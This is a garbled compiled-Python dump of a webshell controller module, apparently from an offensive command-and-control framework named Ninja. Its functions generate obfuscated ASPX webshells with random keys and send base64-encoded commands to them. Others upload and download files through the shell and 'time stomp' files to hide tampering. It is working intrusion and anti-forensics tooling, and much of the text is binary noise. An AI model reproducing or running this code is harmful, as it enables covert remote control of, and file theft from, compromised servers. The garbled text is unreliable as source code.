
    4iG!                         d dl Z d dlZd dlZd dlZd dlZd dlZd dlmZ d dlZd dlZd dl	Z	d dl
Z
d dlZd dlZd dlZ	 d Zd Zd Zd Zd ZdS )    N)bcolorsc                 t   	 | d         }| d         }d                     d|                               d|          }t          j        t          |d                    }t	          j        ||d          }d	|j        v rt          d
|z   dz   |j        z              d S t          d
|z   dz   t          j        |j        dd          d d         	                                          
                    d          z              d S # t          $ r*}t          dt          |          z             Y d }~d S d }~ww xY w)N      z1_{CMD}_cmd_{KEY}z{CMD}{KEY}UTF-8Fdataverifyr^Webshell (  ) sent Output : 
   z[-] ERROR(webshell_execute): %s)replacebase64	b64encode	bytearrayrequestsposttextprint	b64decodestripdecode	Exceptionstr)webshellcommandURLKEY
b64commandraw_dataxes           !/home/kali/Ninja/core/webshell.pywebshell_executer'   (   s_   :qkqk(00'BBJJ7TWXX
#Ij'$B$BCCM#HU;;;16>>-#%(==FGGGGG #&;;f>NqvVWVXVXzZ][]Z]OdOdOfOf>g>g>n>nov>w>wwy y y y y : : :/#a&&8999999999:s   BD A$D 
D7D22D7c                     	 t          d          } |                                 }|                                                    dd                              d          }t          dd          }|                                }d                    d t          d          D                       d	z   d                    d
 t          d          D                       z   d	z   d                    d t          d          D                       z   d	z   d                    d t          d          D                       z   }t          j        |          }|	                    |           t          j        |          }|	                    |           t          j        |          }|	                    |           t          j        |          }	|                    d|                              d|                              d|                              d|                              d|	          }t          d|z   dz   d          }
|

                    |           |
                                 t          d|z   dz   dz   |z   dz   dz   t          j        z   |z   t          j        z              |S #  t          d           Y d S xY w)Nzcore/lib/obf.list 
zcore/agents/webshell.ninjarc                 d    g | ]-}t          j        t          j        t          j        z             .S  randomchoicestringascii_uppercasedigits.0is     r&   
<listcomp>z%generate_webshell.<locals>.<listcomp>A   s-    ___QRv}V%;fm%KLL___    r   -c                 d    g | ]-}t          j        t          j        t          j        z             .S r.   r/   r5   s     r&   r8   z%generate_webshell.<locals>.<listcomp>B   ,    UUUqV]61FMABBUUUr9   c                 d    g | ]-}t          j        t          j        t          j        z             .S r.   r/   r5   s     r&   r8   z%generate_webshell.<locals>.<listcomp>C   r<   r9   c                 d    g | ]-}t          j        t          j        t          j        z             .S r.   r/   r5   s     r&   r8   z%generate_webshell.<locals>.<listcomp>D   r<   r9   r   z{VAR1}z{VAR2}z{VAR3}z{VAR4}zutils/payloads/webshell_z.aspxwzWebshell Generate with key ( z ) and writen in z : 
zError Generating Webshell )openreadr   r   splitjoinranger0   r1   removewritecloser   r   FAILENDC)flinks	list_fullfpr   r!   VAR1VAR2VAR3VAR4payloads              r&   generate_webshellrS   :   s   ,$%%KKMM))$3399$??	.447799gg__V[\]V^V^___``cffikipipUUERSHHUUUjW jW WY\]_a_f_fUUERSHHUUU`W `WWY\]_a_f_fUUERSHHUUU`W `WW }Y''}Y''}Y''}Y''##GS1199(DIIQQRZ\`aaiijrjnp ppwpwdq q 	 1C7'A3GGh+c14GGJddgjjmttw~~  BI  BN  N  QY  Y  \c  \h  h	i 	i 	i,*++++++s   J1J4 4Kc           
         	 t          |          dk     rt          d           | d         }| d         }|d         }|d         }d}t          d|z   d          }t          j        |                                          }|                                 t          j        t          |                    d|                              d	|	                    d
                                        d|          d                    }	t          j        ||	d          }
d|
j        v rt          d|z   dz   |
j        z              d S t          j        |
j        dd          d d                                                   	                    d                                          dk    r{t          d|z   dz              t          d|z   dz   t          j        |
j        dd          d d                                                   	                    d          z              d S d S # t          $ r.}t          d|dt!          |          d           Y d }~d S d }~ww xY w)N   zbUsage : upload <filename ; file must be in file folder> <destination path including new file name>r   r   z2_{filename}_{content}_{KEY}zfile/rb
{filename}z	{content}zutf-8r   r   Fr	   r   r   r   r   r   _z  ) Sucessfully uploaded the file0[-] Error Uploading the file through webshell (  ) with error message (  ))lenr   r@   r   r   rA   rG   r   r   r   r   r   r   r   r   r   r   )r   argsr    r!   filename	dest_pathr"   pcontentr#   r$   r%   s               r&   upload_filerb   Y   s   pt99q==vwww qkqk7G	3
8#T**"16688,,				#I|Y77??W^^\cMdMdeemmnunqs s% %  
 M#HU;;;16>>-#%(==FGGGGGafQRRj"o335566==gFFLLNNRUUU-#%(JJKKK#&;;f>NqvVWVXVXzZ][]Z]OdOdOfOf>g>g>n>nov>w>wwy y y y y VU
  p p pbebebegjklgmgmgmgmnooooooooops   D?H$ CH$ $
I.#IIc           	      r   	 t          |          dk     rt          d           | d         }| d         }|d         }d}t          j        t	          |                    d|                              d|          d                    }t          j        ||d	          }d
|j        v rt          d|z   dz   |j        z              d S t          d|z   dz              t          dt          j        d|          d         z   d          }|                    t          j        t          j        |j        dd          d d                                                                        |                                 d S # t           $ r.}	t          d|dt#          |	          d           Y d }	~	d S d }	~	ww xY w)Nr   zUsage : download <File path>r   z3_{filename}_None_{KEY}rW   r   r   Fr	   r   r   r   z" ) sucessfully downloaded the filez
downloads/z[^\/\\]+(?=$)r   wbr   r   z2[-] Error downloading the file through webshell ( rZ   r[   )r\   r   r   r   r   r   r   r   r   r@   refindallrF   r   r   rG   r   r   )
r   r]   r    r!   r^   r"   r#   r$   r`   r%   s
             r&   download_filerg   |   s   rt99q==0111 qkqk7.
 #j((x@@HHRUVVX_``b b M#HU;;;16>>-#%(==FGGGGG #&JJL L L\BJ/?$J$J1$MMtTTAGGF$V%5afQRRj"o6K6K6M6M%N%NOOPPPGGIIIII r r rdgdgdgilmnioioioiopqqqqqqqqqrs   CE> B5E> >
F6#F11F6c           	      B   	 t          |          dk     rt          d           | d         }| d         }|d         }|d         }d}t          j        t	          |                    d|                              d|                              d|          d	                    }t          j        ||d
          }d|j        v rt          d|z   dz   |j        z              d S t          j	        |j        dd          d d         
                                                              d	          
                                dk    rt          d|z   dz   |z   dz              d S d S # t          $ r.}	t          d|dt          |	          d           Y d }	~	d S d }	~	ww xY w)NrU   zUsage : time_stomp <path of the file you want to have same ( access , modify , creation ) date > < destination file to edit its date >r   r   z04_{source_filename}_{destination_filename}_{KEY}z{source_filename}z{destination_filename}r   r   Fr	   r   z
Webshell ( r   r   r   rX   z' ) Sucessfully time stomped the file ( r[   rY   rZ   )r\   r   r   r   r   r   r   r   r   r   r   r   r   r   )
r   r]   r    r!   src_pathr_   r"   r#   r$   r%   s
             r&   
time_stomprj      s   pt99q== YZ Z Zqkqk7G	G
#I2H==EEF^`ijjrr &%( %( ) ) M#HU;;;16>>/C'*??!&HIIIIIafQRRj"o335566==gFFLLNNRUUU/C'*SSV__bffggggg VU  p p pbebebegjklgmgmgmgmnooooooooops   CE& #A?E& &
F0#FF)r   r   syssecrets
subprocessr2   
core.colorr   osr0   codecsglobreadlinere   r'   rS   rb   rg   rj   r.   r9   r&   <module>rs      s	     



             5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5&: : :$, , ,>p p pFr r rBp p p4 r9   